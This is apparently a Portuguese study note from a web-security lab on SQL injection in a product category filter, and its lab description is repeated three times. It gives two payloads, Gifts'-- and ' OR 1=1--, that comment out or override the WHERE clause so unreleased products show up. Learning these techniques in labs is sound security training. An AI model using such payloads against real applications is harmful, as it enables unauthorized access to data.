SQL Injection

Clausula WHERE

SQLi - Retornar Informação Escondida

Neste lab, sabemos que existe uma vulnerabilidade de SQL Injection na filtragem de categorias de produtos e que a query está a ser feita da seguinte forma:

SELECT * FROM products WHERE category = 'gifts' AND release=1;

Para resolver este lab, é necessário injetar SQL de forma a que sejam mostrados todos os produtos, incluindo os produtos que ainda não foram lançados / que ainda não estão disponíveis para compra.

Dica: O parâmetro "release" é responsável por determinar se os produtos estão ou não disponíveis para venda.

SQLi - Retornar Informação Escondida

Neste lab, sabemos que existe uma vulnerabilidade de SQL Injection na filtragem de categorias de produtos e que a query está a ser feita da seguinte forma:

SELECT * FROM products WHERE category = ‘gifts’ AND release=1;

Injeção: Gifts’--

Query: **SELECT * FROM products WHERE category = ‘Gifts’--’ AND release=1;**

Resultado: A aplicação mostra também produtos que não eram supostos aparecer na aplicação para venda.

SQLi - Retornar Informação Escondida

Neste lab, sabemos que existe uma vulnerabilidade de SQL Injection na filtragem de categorias de produtos e que a query está a ser feita da seguinte forma:

SELECT * FROM products WHERE category = 'gifts' AND release=1;

Injeção: ' OR 1=1--

Query: **SELECT * FROM products WHERE category = '** OR 1=1--**' AND release=1;**

Resultado: A aplicação mostra também produtos que não eram supostos aparecer na aplicação para venda.